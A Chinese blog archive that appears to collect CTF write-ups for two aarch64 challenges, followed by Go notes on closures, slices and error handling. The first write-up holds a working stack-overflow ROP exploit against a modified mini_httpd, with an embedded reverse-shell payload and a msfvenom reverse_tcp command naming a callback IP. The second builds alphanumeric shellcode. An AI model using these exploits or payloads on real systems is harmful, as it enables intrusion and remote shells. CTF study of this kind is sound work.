[virtualization] 虚拟化学习资源
QEMU
视频资源
2016 An Introduction to PCI Device Assignment with VFIO by Alex Williamson
Improving the QEMU Event Loop by Fam Zheng - 多视频合集
代码
Alcatraz project for Black Hat USA 2021
2016 An Introduction to PCI Device Assignment with VFIO by Alex Williamson
Improving the QEMU Event Loop by Fam Zheng - 多视频合集
Alcatraz project for Black Hat USA 2021
两个题都是aarch64
IoT题,aarch64,题目修改了mini_httpd
的身份验证部分,加了一个输出认证信息的函数——没留意终端STDOUT...这里耽误了点时间。mini_httpd
的源码可以在官网下载。
新加的函数在0x4046D0
,base64完后的拷贝有栈溢出,刚好也比较好控制X30
寄存器中的返回地址。
程序里面有个挺好用的万能gadget,就是控制起来麻烦点,好在bss段地址已知且内容可控,使得X19
可以通过X29
间接控制:
ext:0000000000407D78 loc_407D78 ; CODE XREF: sub_407D30+64↓j
.text:0000000000407D78 LDR X3, [X21,X19,LSL#3]
.text:0000000000407D7C MOV X2, X24
.text:0000000000407D80 MOV X1, X23
.text:0000000000407D84 MOV W0, W22
.text:0000000000407D88 ADD X19, X19, #1
.text:0000000000407D8C BLR X3
.text:0000000000407D90 CMP X20, X19
.text:0000000000407D94 B.NE loc_407D78
.text:0000000000407D98 LDR X19, [X29,#0x10]
.text:0000000000407D9C
.text:0000000000407D9C loc_407D9C ; CODE XREF: sub_407D30+3C↑j
.text:0000000000407D9C LDP X20, X21, [SP,#0x18]
.text:0000000000407DA0 LDP X22, X23, [SP,#0x28]
.text:0000000000407DA4 LDR X24, [SP,#0x38]
.text:0000000000407DA8 LDP X29, X30, [SP],#0x40
.text:0000000000407DAC RET
借助这个gadget先mprotect再执行shellcode。
为了触发http身份验证需要找到一个包含了 .htpasswd
文件的子目录。用dirsearch扫了一下发现http://xxx:xxx/admin/
会请求身份验证,并且似乎只支持Basic验证方式。
由于题目是socket连接,STDIN和STDOUT不能直接控制,所以要去msf搞个反弹shell payload: msfvenom -a aarch64 -p linux/aarch64/shell/reverse_tcp lhost=139.224.195.57 lport=10005 -f base64
shellcode可以写在bss段上用来储存http请求的缓冲区
HTTPD程序会有两次fork。第一次是如果没加 -D
进入daemon模式,程序会fork一个子进程然后kill掉父进程,这时候如果我们在attach到qemu的远程调试端口时下的断点会失效。不过这个好解决,启动参数加上-D
就好了。
第二次是accept到一个新的客户端请求时会fork出一个子进程去 handle_request()
,然后父进程close掉客户端的文件描述符继续循环accept...这里也会导致gdb断掉,可以在ida里面把fork后的逻辑改一下,让父进程去 handle_request()
即可。
from pwn import *
from base64 import b64encode, b64decode
context.arch = "aarch64"
context.os = "linux"
context.log_level = "debug"
fmt = '''GET /admin/ HTTP/1.1
Host: 127.0.0.1:80
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: 111111115.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.43
Authorization: Basic '''
def set_pack(payload:bytes):
return fmt.encode()+b64encode(payload)+b"\n\n"
# base: 0x400000
perfet_gadget = '''
ext:0000000000407D78 loc_407D78 ; CODE XREF: sub_407D30+64↓j
.text:0000000000407D78 LDR X3, [X21,X19,LSL#3]
.text:0000000000407D7C MOV X2, X24
.text:0000000000407D80 MOV X1, X23
.text:0000000000407D84 MOV W0, W22
.text:0000000000407D88 ADD X19, X19, #1
.text:0000000000407D8C BLR X3
.text:0000000000407D90 CMP X20, X19
.text:0000000000407D94 B.NE loc_407D78
.text:0000000000407D98 LDR X19, [X29,#0x10]
.text:0000000000407D9C
.text:0000000000407D9C loc_407D9C ; CODE XREF: sub_407D30+3C↑j
.text:0000000000407D9C LDP X20, X21, [SP,#0x18]
.text:0000000000407DA0 LDP X22, X23, [SP,#0x28]
.text:0000000000407DA4 LDR X24, [SP,#0x38]
.text:0000000000407DA8 LDP X29, X30, [SP],#0x40
.text:0000000000407DAC RET
'''
arg_start = 0x423680
popen_gadget = 0x4062C4
dup2 = 0x401EA0
mprotect = 0x401F20
def exp():
p = remote("39.106.54.108", 30002)
payload = b"A"*0x100+p64(arg_start)+p64(0x407D98) # x29 x30
payload += p64(0xdeadbeef)*2
#===
payload += p64(arg_start) + p64(0x407D78) # x29 x30
payload += p64(0xdeadbeef) # padding
payload += p64(1) + p64(arg_start) # x20 x21
payload += p64(0x41c000) + p64(0x15000) # x22 x23
payload += p64(7) # x24
#===
payload += p64(arg_start) + p64(arg_start+0x20) # x29 x30
pack = set_pack(payload).ljust(0x400, b"\x00")
# args
f = {}
f[0x0] = p64(mprotect)
f[0x10] = p64(0) #x19
f[0x18] = p64(0) #padding
pack += fit(f) + b64decode(b"QACA0iEAgNICAIDSyBiA0gEAANTjAwCqQQMAEAICgNJoGYDSAQAA1GACADXgAwOqAgCA0gEAgNIIA4DSAQAA1CEAgNIIA4DSAQAA1EEAgNIIA4DSAQAA1IABABACAIDS4AMA+eIHAPnhAwCRqBuA0gEAANQAAIDSqAuA0gEAANQCACcVi+DDOS9iaW4vc2gAAAAAAAAAAAA=")
p.send(pack)
p.interactive()
if __name__ == "__main__":
exp()
题目要求写一个三个页内的 aarch64 alphanumeric shellcode
有相关论文 - 《ARMv8 Shellcodes from ‘A’ to ‘Z’》:https://arxiv.org/pdf/1608.03415.pdf,但是没找到现成的轮子
论文前面大半部分都在讲构造原理,主要是如何构造完成各种功能的原语,然后将这些原语组合起来实现更复杂的功能
附录是实现模板,可以改来用:
一个是encoder,PHP写的:
encoder.php
<?php
function mkchr($c) {
return(chr(0x40 + $c));
}
$s = file_get_contents('shellcode.bin.tmp');
$p = file_get_contents('raw_shellcode.bin');
$b = 0x60; /* Synchronize with pool */
for($i=0; $i <strlen($p); $i++)
{
$q = ord($p[$i]);
$s[$b+2*$i ] = mkchr(($q >> 4) & 0xF);
$s[$b+2*$i+1] = mkchr( $q & 0xF);
}
$s = str_replace('@', 'P', $s);
file_put_contents('shellcode.bin', $s);
echo 'done';
?>
另一个是decoder+内嵌payload,使用m4
语法来描述,需要自己转换成可以用的shellcode指令
decoder.m4
divert (-1)
changequote ({,})
define ({LQ},{ changequote(‘,’){dnl}
changequote ({,})})
define ({RQ},{ changequote(‘,’)dnl{
}changequote ({,})})
changecom ({;})
define ({ concat},{$1$2})dnl
define ({ repeat}, {ifelse($1, 0, {}, $1, 1, {$2},
{$2
repeat(eval($1 -1), {$2})})})
define ({P}, 10)
define ({Q}, 11)
define ({S}, 2)
define ({A}, 18)
define ({B}, 25)
define ({U}, 26)
define ({Z}, 19)
define ({WA}, concat(W,A))
define ({WB}, concat(W,B))
define ({WP}, concat(W,P))
define ({XP}, concat(X,P))
define ({WQ}, concat(W,Q))
define ({XQ}, concat(X,Q))
define ({WS}, concat(W,S))
define ({WU}, concat(W,U))
define ({WZ}, concat(W,Z))
divert (0) dnl
/* Set P */
l1: ADR XP, l1+0 b010011000110100101101
/* Sync with pool */
SUBS WP, WP, #0x98 , lsl #12
SUBS WP, WP, #0xD19
/* Set Q */
l2: ADR XQ, l2+0 b010011000110001001001
/* Sync with TBNZ */
SUBS WQ, WQ, #0x98 , lsl #12
ADDS WQ, WQ, #0xE53
ADDS WQ, WQ, #0xC8C
/* Z:=0 */
ANDS WZ, WZ, WZ, lsr #16
ANDS WZ, WZ, WZ, lsr #16
/* S:=0 */
ANDS WS, WZ, WZ, lsr #12
/* Branch to code */
loop: TBNZ WS, #0b01011 , 0b0010011100001100
/* Load first byte in A */
LDRB WA, [XP, #76]
/* Load second byte in B */
LDRB WB, [XP, #77]
/* P+=2 */
ADDS WP, WP, #0xC1B
SUBS WP, WP, #0xC19
/* Mix A and B */
EON WA , WZ , WA , lsl #20
/* ANDS WB , WB, #0 xFFFF000F */
.word 0x72304C00 +33*B
EON WB , WB , WA , lsr #16
/* STRB B, [Q] */
STRB WB, [XQ, WZ, uxtw]
/* Q++ */
ADDS WQ, WQ, #0xC1A
SUBS WQ, WQ, #0xC19
/* S++ */
ADDS WS, WS, #0xC1A
SUBS WS, WS, #0xC19
TBZ WZ , #0b01001 , next
pool: repeat (978, {.word 0x42424242 })
/* NOPs */
next: repeat( 77, {ANDS WU, WU, WU, lsr #12})
TBZ WZ , #0b01001 , loop
test.py
用于生成payload文件:decoder.txt
from pwn import *
from base64 import b64decode
context.arch = "aarch64"
#context.log_level = "debug"
#execve_sh = b'\xeeE\x8c\xd2.\xcd\xad\xf2\xee\xe5\xc5\xf2\xeee\xee\xf2\x0f\r\x80\xd2\xee?\xbf\xa9\xe0\x03\x00\x91\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xa8\x1b\x80\xd2\x01\x00\x00\xd4'
cat_flag = '''
/* push b'flag\x00' */
/* Set x14 = 1734437990 = 0x67616c66 */
mov x0, #0x1000
movk x0, #0x1000, lsl #16
movk x0, #0, lsl #0x20
movk x0, #0, lsl #0x30
mov sp, x0
mov x14, #27750
movk x14, #26465, lsl #16
str x14, [sp, #-16]!
/* call openat(-0x64, 'sp', 'O_RDONLY', 'x3') */
/* Set x0 = -100 = -0x64 */
mov x0, #65436
movk x0, #65535, lsl #16
movk x0, #65535, lsl #0x20
movk x0, #65535, lsl #0x30
mov x1, sp
mov x2, xzr
mov x8, #56
svc 0
/* call sendfile(1, 'x0', 0, 0x7fffffff) */
mov x1, x0
mov x0, #1
mov x2, xzr
/* Set x3 = 2147483647 = 0x7fffffff */
mov x3, #65535
movk x3, #32767, lsl #16
mov x8, #71
svc 0
'''
cat_flag = asm(cat_flag)
with open("./raw_shellcode.bin", "wb") as f:
f.write(cat_flag)
decode_fmt_1 = '''
l1: ADR XP, l1+0 b010011000110100101101
/* Sync with pool */
SUBS WP, WP, #0x98 , lsl #12
SUBS WP, WP, #0xD19
/* Set Q */
l2: ADR XQ, l2+0 b010011000110001001001
/* Sync with TBNZ */
SUBS WQ, WQ, #0x98 , lsl #12
ADDS WQ, WQ, #0xE53
ADDS WQ, WQ, #0xC8C
/* Z:=0 */
ANDS WZ, WZ, WZ, lsr #16
25
ANDS WZ, WZ, WZ, lsr #16
/* S:=0 */
ANDS WS, WZ, WZ, lsr #12
/* Branch to code */
loop: TBNZ WS, #0b01011 , 0b0010011100001100
/* Load first byte in A */
LDRB WA, [XP, #76]
/* Load second byte in B */
LDRB WB, [XP, #77]
/* P+=2 */
ADDS WP, WP, #0xC1B
SUBS WP, WP, #0xC19
/* Mix A and B */
EON WA , WZ , WA , lsl #20
/* ANDS WB , WB, #0 xFFFF000F */
.word 0x72304C00 +33*B
EON WB , WB , WA , lsr #16
/* STRB B, [Q] */
STRB WB, [XQ, WZ, uxtw]
/* Q++ */
ADDS WQ, WQ, #0xC1A
SUBS WQ, WQ, #0xC19
/* S++ */
ADDS WS, WS, #0xC1A
SUBS WS, WS, #0xC19
TBZ WZ , #0b01001 , next
repeat (978, {.word 0x42424242 })
/* NOPs */
next: repeat( 77, {ANDS WU, WU, WU, lsr #12})
TBZ WZ , #0b01001 , loop
'''
# 解m4
decode_fmt_1 = decode_fmt_1.replace("WA", "W18")
decode_fmt_1 = decode_fmt_1.replace("WB", "W25")
decode_fmt_1 = decode_fmt_1.replace("WP", "W10")
decode_fmt_1 = decode_fmt_1.replace("XP", "X10")
decode_fmt_1 = decode_fmt_1.replace("WQ", "W11")
decode_fmt_1 = decode_fmt_1.replace("XQ", "X11")
decode_fmt_1 = decode_fmt_1.replace("WS", "W2")
decode_fmt_1 = decode_fmt_1.replace("WU", "W26")
decode_fmt_1 = decode_fmt_1.replace("WZ", "W19")
print(decode_fmt_1)
# 构造decoder
decoder = '''
l1: ADR X10, l1+0b010011000110100101101;
SUBS W10, W10, #0x98 , lsl #12;
SUBS W10, W10, #0xD19;
l2: ADR X11, l2+0b010011000110001001001;
SUBS W11, W11, #0x98 , lsl #12;
ADDS W11, W11, #0xE53;
ADDS W11, W11, #0xC8C;
ANDS W19, W19, W19, lsr #16;
ANDS W19, W19, W19, lsr #16;
ANDS W2, W19, W19, lsr #12;
loop: TBNZ W2, #0b01011 , 0b0010011100001100;
LDRB W18, [X10, #76];
LDRB W25, [X10, #77];
ADDS W10, W10, #0xC1B;
SUBS W10, W10, #0xC19;
EON W18 , W19 , W18 , lsl #20;
.word 0x72304f39;
EON W25 , W25 , W18 , lsr #16;
STRB W25, [X11, W19, uxtw];
ADDS W11, W11, #0xC1A;
SUBS W11, W11, #0xC19;
ADDS W2, W2, #0xC1A;
SUBS W2, W2, #0xC19;
TBZ W19, #0b01001 , next;
'''
decoder += " .word 0x42424242;\n"*978
decoder += "next:\n"
decoder += " ANDS W26, W26, W26, lsr #12;\n"*77
decoder += " TBZ W19 , #0b01001, loop;\n"
payload = asm(decoder).decode()
print(payload)
print("Len:", hex(len(payload)))
# ss由论文给的PHP脚本编码上面生成的 raw_shellcode.bin 后所得
ss = "PPPPHBMBPPPPJBOBPPPPLPOBPPPPNPOBAOPPPPIALNHLHMMBBNNLJLOBNNPOAOOHHPOCIOMBNPOOKOOBNPOOMOOBNPOOOOOBNAPCPPIANBPCAOJJPHPGHPMBPAPPPPMDNAPCPPJJBPPPHPMBNBPCAOJJNCOOIOMBNCOOJOOBNHPHHPMBPAPPPPMD"
# 嵌入 decoder 的 pool 部分
payload = payload[:payload.find("BBBBB")]+ss+payload[payload.find("BBBBB")+len(ss):]
print(payload)
print("Len:", hex(len(payload)))
with open("decoder.txt", "w") as f:
# padding & save
f.write(payload.ljust(0x2fff, "A"))
注意写到输出文件之前要padding到三个页的大小,由于题目使用mmap映射payload,如果大小不够会导致写后面的页时缺页异常无法正确处置从而触发段错误(被这玩意坑了几个小时)
payload传到网站目录下让服务器去下载
exp.py
与远程交互
from pwn import *
import os
import string
context.arch = "aarch64"
context.log_level = "debug"
p = remote("39.106.54.108", 30004)
p.recvuntil(b"Enter one result of `")
cmd = p.recvuntil(b"`", drop=True)
res = os.popen(cmd.decode()).read()
p.send(res)
p.sendlineafter(b"shellcode url: ", b"http://app.eqqie.cn/decoder.txt")
p.interactive()
GDB+QEMU调试aarch64 shellcode会经常出各种问题导致无法继续单步下去,可以尝试手写unicorn调试器然后构造一个相似的上下文来单步分析——对于和解码相关的shellcode题特别有用。
这是我调试时用的脚本:
#!/usr/bin/env python
import sys
#sys.path = ['./site_pack']+sys.path
from pwn import *
import os
import struct
import types
from unicorn import *
from unicorn.arm64_const import *
context.arch = 'aarch64'
CODE = 0x10000000
STACK = 0x4000812000
main = b""
with open("decoder.txt", "rb") as f:
main = f.read()
def setregs(uc):
# 重建上下文
uc.reg_write(UC_ARM64_REG_X0,0x0000000010000000)
uc.reg_write(UC_ARM64_REG_X1,0x0000000000000001)
uc.reg_write(UC_ARM64_REG_X2,0x0000000000000000)
uc.reg_write(UC_ARM64_REG_X3,0x00000040009b9500)
uc.reg_write(UC_ARM64_REG_X4,0x00000000fbad2a84)
uc.reg_write(UC_ARM64_REG_X5,0x0000000000000003)
uc.reg_write(UC_ARM64_REG_X6,0x000000000000021a)
uc.reg_write(UC_ARM64_REG_X7,0x0000000000000010)
uc.reg_write(UC_ARM64_REG_X8,0x0000000000000040)
uc.reg_write(UC_ARM64_REG_X9,0x00000000000003f3)
uc.reg_write(UC_ARM64_REG_X10,0x0000000000000000)
uc.reg_write(UC_ARM64_REG_X11,0x0000000000000038)
uc.reg_write(UC_ARM64_REG_X12,0x00000040008133c8)
uc.reg_write(UC_ARM64_REG_X13,0x0000000000000002)
uc.reg_write(UC_ARM64_REG_X14,0x0000000000000000)
uc.reg_write(UC_ARM64_REG_X15,0x0000000000000410)
uc.reg_write(UC_ARM64_REG_X16,0x00000040008b8290)
uc.reg_write(UC_ARM64_REG_X17,0x0000004000828540)
uc.reg_write(UC_ARM64_REG_X18,0x0000000000000000)
uc.reg_write(UC_ARM64_REG_X19,0x0000004000000958)
uc.reg_write(UC_ARM64_REG_X20,0x0000000000000000)
uc.reg_write(UC_ARM64_REG_X21,0x0000004000000740)
uc.reg_write(UC_ARM64_REG_X22,0x0000000000000000)
uc.reg_write(UC_ARM64_REG_X23,0x0000000000000000)
uc.reg_write(UC_ARM64_REG_X24,0x0000000000000000)
uc.reg_write(UC_ARM64_REG_X25,0x0000000000000000)
uc.reg_write(UC_ARM64_REG_X26,0x0000000000000000)
uc.reg_write(UC_ARM64_REG_X27,0x0000000000000000)
uc.reg_write(UC_ARM64_REG_X28,0x0000000000000000)
uc.reg_write(UC_ARM64_REG_X29,0x00000040008123f0)
uc.reg_write(UC_ARM64_REG_X30,0x000000400000094c)
uc.reg_write(UC_ARM64_REG_SP,0x00000040008123f0)
def debug_hook(uc, address, size, user_data):
pc = uc.reg_read(UC_ARM64_REG_PC)
print(f"pc[{hex(pc)}] => {disasm(uc.mem_read(pc,0x4))}")
print(f"target[{hex(0x10002734)}]:\n {disasm(uc.mem_read(0x10002734,0x50))}")
print('x18 : ',hex(uc.reg_read(UC_ARM64_REG_X18)))
print('x25 : ',hex(uc.reg_read(UC_ARM64_REG_X25)))
print('x10 : ',hex(uc.reg_read(UC_ARM64_REG_X10)))
print('x11 : ',hex(uc.reg_read(UC_ARM64_REG_X11)))
print('x2 : ',hex(uc.reg_read(UC_ARM64_REG_X2)))
print('x26 : ',hex(uc.reg_read(UC_ARM64_REG_X26)))
print('x19 : ',hex(uc.reg_read(UC_ARM64_REG_X19)))
def init(uc):
uc.mem_map(CODE, 0x4000, UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC)
uc.mem_write(CODE, main)
uc.mem_map(STACK, 0x4000, UC_PROT_READ | UC_PROT_WRITE)
uc.mem_write(STACK, b'hello\n')
setregs(uc)
#uc.hook_add(UC_HOOK_CODE, debug_hook, None, CODE+0x0, CODE+0x60)
uc.hook_add(UC_HOOK_CODE, debug_hook, None, CODE+0x10e0, CODE+0x3000)
def play():
uc = Uc(UC_ARCH_ARM64, UC_MODE_ARM)
init(uc)
try:
uc.emu_start(CODE, CODE + 0x3000)
except UcError as e:
print("error...")
print(e)
pc = uc.reg_read(UC_ARM64_REG_PC)
print('pc : ',hex(pc))
print('x18 : ',hex(uc.reg_read(UC_ARM64_REG_X18)))
print('x25 : ',hex(uc.reg_read(UC_ARM64_REG_X25)))
print('x10 : ',hex(uc.reg_read(UC_ARM64_REG_X10)))
print('x11 : ',hex(uc.reg_read(UC_ARM64_REG_X11)))
print('x2 : ',hex(uc.reg_read(UC_ARM64_REG_X2)))
print('x26 : ',hex(uc.reg_read(UC_ARM64_REG_X26)))
print('x19 : ',hex(uc.reg_read(UC_ARM64_REG_X19)))
#print(disasm(uc.mem_read(pc,0x50)))
print(disasm(uc.mem_read(0x10000000,0x100)))
if __name__ == '__main__':
play()
原先是一篇一篇写,想着反正学无止境,干脆直接归档起来,也方便阅读...
闭包函数的特性存在于很多高级语言中。简而言之:如果函数A的返回值也是一个函数L,其作为返回值的函数L使用了这个函数A所创建的某个局部变量,并把对这个局部变量的控制能力(使用权)提供给了外部的某个函数B,就会产生所谓的闭包。
对于只学过传统的编程语言(如C语言)的人,这似乎难以理解。因为对于下面这样的调用栈模型:
funcB() -> funcA()
在几乎所有C编译器所实现的调用栈规则中,funcA所创建的局部变量都保存在线性的栈空间上,当funcA结束并返回时,其栈上的临时变量都会被清空,只把返回值交回给funcB。那么假如带入闭包的概念很容易发现一个矛盾就是,如果funcA返回了一个函数L——可以是函数指针或者其它什么形式都不重要,这个函数L引用了funcB的局部变量,那funcB取得函数L时如果再尝试访问函数L所引用的局部变量就会产生不可预知的错误甚至严重的安全问题。
那么具有这个特性的语言是如果解决该问题的?这其实无法一概而论,这里只介绍golang中是如何实现的,一方面是golang的实现方式比较容易理解,另一方面是我正好也在学习golang。
回到这个问题,其实golang的实现方法非常简单,既然放到栈上会被销毁,那么就可以放到堆空间上。这个步骤是由go语言编译器所实现的,用户并不需要操心其中的细节。
在看闭包之前,先看下面的例子:
func foo() *int {
t :=8
return &t;
}
直觉上这么写会返回一个对栈上不可控位置的引用,产生安全问题,实际上go编译器很容易能识别到这是一种逃逸(escape)情况,于是会在编译期使用堆分配器去存放这个变量t,返回的也是对堆内存上的引用。
同样的思路去理解下面golang对于函数闭包的具体实现很有帮助。
这是一个例子
编译的时候记得关掉优化和内联
/* go build -gcflags "-N -l" main.go */
package main
import (
"fmt"
)
func test1(i int) func() int {
return func() int {
i += 1
return i
}
}
func test2(i int) func() int {
return func() int {
return i + 1
}
}
func main() {
func1 := test1(1)
func2 := test1(2)
func3 := test2(1)
fmt.Println("func1()*3:")
fmt.Println(func1())
fmt.Println(func1())
fmt.Println(func1())
fmt.Println("func2()*3:")
fmt.Println(func2())
fmt.Println(func2())
fmt.Println(func2())
fmt.Println("func3()*3:")
fmt.Println(func3())
fmt.Println(func3())
fmt.Println(func3())
}
输出
func1()*3:
2
3
4
func2()*3:
3
4
5
func3()*3:
2
2
2
test1
和test2
函数都返回了一个匿名函数,这个匿名函数的返回值是个int类型。而且两个匿名函数都引用了本来是传递给外部函数的参数i
,区别只在于匿名函数内部对i
的操作不同。
从程序的输出可以直观的感觉到,虽然func1
和func2
都是test1()
的返回值,但是func1
和func2
所使用的i
并不是同一个i
,这个感觉是正确的——每调用test1
一次所返回的函数都具有不同的上下文信息(context),在这个例子中,func1
和func2
的上下文信息就包含了各自互不相干的i
变量。
到这其实关于golang闭包函数的概念以及效果似乎就挺清晰了,但是仔细看了下输出发现又有点小疑惑,为什么test1和test2所返回的匿名函数的返回值都是i
递增1,但是最后的输出却截然不同呢?借这个疑惑正好可以开始下面更为深入的分析...
首先使用IDA 7.6
(之前的版本需要安装IDAGolangHelper
插件)进行反编译分析:
重点关注main_test1
和main_test2
函数的内部实现
runtime_newobject()
被调用了两次,这个函数的作用是运行时在堆上给对象申请内存并返回对象的引用(在这里是指针)
由上面的注释可以看出来,v3存放了第二次runtime_newobject()
的结果,它很像一个有两个字段的结构体,第一个字段v3[0]
存放了main_test1_func1
函数的指针——傻子都能猜到这是test1
所返回的匿名函数的指针;第二个字段v3[1]
存放了第一次调用runtime_newobject()
所返回的引用——那就是test1
中变量i
的引用了,并且i
是在堆内存中。
利用上面的猜测在IDA中创建一个名为闭包(Closure)的结构体,以便于后续分析
源代码中的fmt.Println(func1())
对应下面的逻辑:
也就是说go源码中的func1()
在底层实现上其实就是调用了闭包结构体中存放的的函数指针——func1->F()
,于是进一步分析函数指针所指向的匿名函数
首先看看这个函数是怎么被调用的
func1
这个闭包结构体的地址先被存到了rdx
中,然后从[rdx+0]
取出函数指针放到rsi,通过call rsi
调用匿名函数
然后看看匿名函数的实现
很简单就两行,第一行从之前保存在rdx
的闭包结构体中取出了上下文变量i
的指针存在tmp;然后通过tmp指针完成对i
的自增,返回自增后的值。
总结一下:每次调用test1(n)
都创建了一个新的闭包结构体,这个结构体保存了匿名函数的指针和匿名函数用到的上下文变量。其它调用者只需要拿住这个闭包结构体,就可以随时调用匿名函数。在调用前,调用者会把闭包结构体的引用通过rdx
方式传进去,被调用的匿名函数同样需要遵循这么一个调用约定——也应该从rdx
的结构体指针取出上下文变量然后进行运算,这样就完成了一次闭包操作。
test1
弄懂了就可以解决关于“为什么test2()
返回的func3
在每次调用的时候值保持2而不会递增”的这个疑问了,直截了当看main_test2_func1
匿名函数
很明显,这个匿名函数每次都只是返回了上下文变量i+1
后的结果,并未改变i
在上下文中的值(一直保持为1),所以func3()
的结果是永远都不会变的——这也是初学者在写闭包函数时容易犯的一些小错误,这里从底层的角度解释了其原因。
Golang中切片数据类型常用的三种拷贝方式区别以及底层原理分析
切片(Slice)可以看成可变长的数组,主要具有append, copy, len, cap等方法,这是其结构体定义:
type slice struct {
array unsafe.Pointer
len int
cap int
}
array
是一个指向一段连续内存的指针,数据在这段内存上连续保存len
表示当前切片的有效长度,即元素的个数,可用 len()
方法取得。尝试访问超出这个范围的元素会提示下标越界。cap
表示当前切片的最大容量,当切片使用 append()
方法添加元素且剩余容量不足时,goroutine 会自动帮你重新分配内存来扩容,并将原来的值拷贝到新内存区域,扩容策略类似 C++ 的 vector 。注意,扩容之后 array
指针会发生变化,指向新的内存package main
import (
"fmt"
)
func printSlice(arr []int) {
fmt.Printf("arr: %v &arr: %p &arr[0]: %p len: %d cap: %d\n", arr, &arr, &arr[0], len(arr), cap(arr))
}
func main() {
var arr1 []int
arr1 = append(arr1, 1, 2, 3, 4, 5)
arr2 := arr1 // way1
arr3 := make([]int, 5, 6)
copy(arr3, arr1) // way2
arr4 := arr1[0:3] // way3
printSlice(arr1)
printSlice(arr2)
printSlice(arr3)
printSlice(arr4)
fmt.Println()
arr1[0] = -1 // assignment
printSlice(arr1)
printSlice(arr2)
printSlice(arr3)
printSlice(arr4)
fmt.Println()
arr1 = append(arr1, 6, 7, 8, 9, 10) // expand
arr1[1] = -2 // assignment
printSlice(arr1)
printSlice(arr2)
printSlice(arr3)
printSlice(arr4)
fmt.Println()
}
arr: [1 2 3 4 5] &arr: 0xc000004078 &arr[0]: 0xc00000c3f0 len: 5 cap: 6
arr: [1 2 3 4 5] &arr: 0xc0000040a8 &arr[0]: 0xc00000c3f0 len: 5 cap: 6
arr: [1 2 3 4 5] &arr: 0xc0000040d8 &arr[0]: 0xc00000c420 len: 5 cap: 6
arr: [1 2 3] &arr: 0xc000004108 &arr[0]: 0xc00000c3f0 len: 3 cap: 6
arr: [-1 2 3 4 5] &arr: 0xc000004138 &arr[0]: 0xc00000c3f0 len: 5 cap: 6
arr: [-1 2 3 4 5] &arr: 0xc000004168 &arr[0]: 0xc00000c3f0 len: 5 cap: 6
arr: [1 2 3 4 5] &arr: 0xc000004198 &arr[0]: 0xc00000c420 len: 5 cap: 6
arr: [-1 2 3] &arr: 0xc0000041c8 &arr[0]: 0xc00000c3f0 len: 3 cap: 6
arr: [-1 -2 3 4 5 6 7 8 9 10] &arr: 0xc0000041f8 &arr[0]: 0xc00001e180 len: 10 cap: 12
arr: [-1 2 3 4 5] &arr: 0xc000004228 &arr[0]: 0xc00000c3f0 len: 5 cap: 6
arr: [1 2 3 4 5] &arr: 0xc000004258 &arr[0]: 0xc00000c420 len: 5 cap: 6
arr: [-1 2 3] &arr: 0xc000004288 &arr[0]: 0xc00000c3f0 len: 3 cap: 6
代码中声明了四个int类型的切片,其中arr1为源切片,其它三个切片由不同的拷贝手段从arr1拷贝而来。arr2使用了最常用的:=
符号来赋值;arr3使用了copy方法赋值;arr4则使用arr1中的部分范围来赋值。
在四个切片初始化完成后,进行了一次 printSlice()
分别输出切片当前所有元素,切片结构体地址,切片首元素的地址(可以视为 array
指针的值),切片长度以及切片容量。首次 printSlice
的结果可以看到两个很明显的结果:
a. arr1 和 arr2 的结构体地址不同,但是使用了同一个 `array` 指针,也就是说不同切片引用了同一片连续内存;
b. arr1 和 arr4 的结构体地址不同,但是 `array` 指针也相同,说明 `[start:end]` 这种拷贝方式其实还是引用到了 arr1 原来的连续内存,只是 `len` 和 `cap` 字段进行了修改。可以预见,如果用的是 `[1:5]` 来拷贝那么 `&arr4[0]` 的值应该会变为 `0xc00000c3f0+4` ——增加了一个 int 的大小;
修改 arr1[0]
值为-1后再次输出,没有意外的——arr2[0] 以及 arr4[0] 都发生了改变变成了-1,产生了一种类似浅拷贝的效果。到此为止 arr3 并没有发生一点变化,因为从输出的结果来看, arr3 底层的 array
指针从一开始就指向单独分配的内存,换言之显式的使用 copy()
去拷贝切片会真实的在内存中开辟一块新区域存放源切片的副本,对新切片的读写也完全不会影响原切片;
尝试使用 append 触发 arr1 的自动扩展,然后修改 arr1[1]
的值为-2,再输出一次。可以看到结果中 &arr1[0]
的地址已经发生了大变化——array
引用的内存地址为 go 线程新申请的内存。并且这次对 arr1[1]
的修改没有再影响到 arr2 和 arr4。
:=
拷贝方式:没有直接创建数据的副本,而且引用了同一个array
;[start:end]
方式:同样没有创建副本,但是会根据起始和结束的位置修改array
指针的偏移以及len
和cap
的大小;copy()
方式:最无忧的方式,会直接在内存中创建一个新的副本,免去不必要的干扰。但在实际工程中,并不是copy()
一定是最好的,因为需要考虑到执行效率,尽量降低申请内存的次数。题外话:使用make预先说明好可能的最大容量也可以避免频繁扩容申请内容造成性能损耗。对于有良好C/C++编程基础的人,看了样例很快就能猜出go语言切片的一些底层原理。但是对于以go入门的人而言弄明白这个可以避免创造一些神奇的bug。
首先明确一下,这个标题其实是有问题的,在工程上错误不等于异常。错误通常是在业务逻辑中可预见的一些不合法情况,比如字符串长度过长,除数为0等;而异常通常都是运行时一些难以预见的错误,比如一些隐蔽的下标越界等。
error
本身就是一个接口,具有一个 Error
方法:
type error interface {
Error() string
}
比较常见的作法是实现这个接口,然后把err放在返回值中,由调用逻辑判断err
是否为nil
来决定是否进入错误处理逻辑。这种方式通常会产生大量的if语句,对于用惯了别的编程语言错误处理方式的人来说确实有些反人类...
package main
import (
"fmt"
)
// 定义一个 DivideError 结构
type DivideError struct {
dividee int
divider int
}
// 实现 `error` 接口
func (de *DivideError) Error() string {
strFormat := `
Cannot proceed, the divider is zero.
dividee: %d
divider: 0
`
return fmt.Sprintf(strFormat, de.dividee)
}
// 定义 `int` 类型除法运算的函数
func Divide(varDividee int, varDivider int) (result int, errorMsg string) {
if varDivider == 0 {
dData := DivideError{
dividee: varDividee,
divider: varDivider,
}
errorMsg = dData.Error()
return
} else {
return varDividee / varDivider, ""
}
}
func main() {
// 正常情况
if result, errorMsg := Divide(100, 10); errorMsg == "" {
fmt.Println("100/10 = ", result)
}
// 当除数为零的时候会返回错误信息
if _, errorMsg := Divide(100, 0); errorMsg != "" {
fmt.Println("errorMsg is: ", errorMsg)
}
}
Divide
函数检查到除数为0时会设置errorMsg = dData.Error()
,调用者通过判断第二个返回值是否为空来确定是否发生错误。
通过 defer 函数
